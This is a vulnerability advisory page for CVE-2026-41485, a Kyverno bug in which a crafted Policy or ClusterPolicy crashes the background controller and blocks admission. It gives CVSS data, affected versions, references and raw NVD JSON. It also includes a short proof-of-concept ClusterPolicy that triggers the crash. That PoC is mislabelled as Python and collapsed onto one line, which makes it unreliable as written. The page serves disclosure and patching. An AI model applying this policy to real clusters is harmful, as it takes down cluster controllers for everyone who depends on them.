Security Vulnerability Report
中文
CVE-2026-41485 CVSS 7.7 HIGH

CVE-2026-41485

Published: 2026-04-24 04:16:21
Last Modified: 2026-04-27 17:54:40

Description

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:* - VULNERABLE
Kyverno < 1.16.4
Kyverno >= 1.17.0, < 1.17.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: cve-2026-41485-poc spec: background: true rules: - name: crash-controller match: resources: kinds: - ConfigMap mutate: foreach: - list: "request.object.data" # Context causing unhandled type assertion in legacy engine context: - name: elementData variable: "{{ element }}" patchStrategicMerge: metadata: labels: poc: "triggered"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41485", "sourceIdentifier": "[email protected]", "published": "2026-04-24T04:16:21.317", "lastModified": "2026-04-27T17:54:40.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.17.2 and 1.16.4, an unchecked type assertion in the `forEach` mutation handler allows any user with permission to create a `Policy` or `ClusterPolicy` to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected. Versions 1.17.2 and 1.16.4 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*", "versionStartIncluding": "1.13.0", "versionEndExcluding": "1.16.4", "matchCriteriaId": "1D7E92D2-4888-437F-8CC1-BDD272F595C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.17.0", "versionEndExcluding": "1.17.2", "matchCriteriaId": "69DC2B53-AFC4-4710-B8BC-DCCF46C5CE01"}]}]}], "references": [{"url": "https://github.com/kyverno/kyverno/commit/76c8fdbe87328722e099e1fd44c3f21c9f7809cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/commit/80e728c2283a0c65e5adb02d8a907106e6ebe7e3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fpjq-c37h-cqcv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}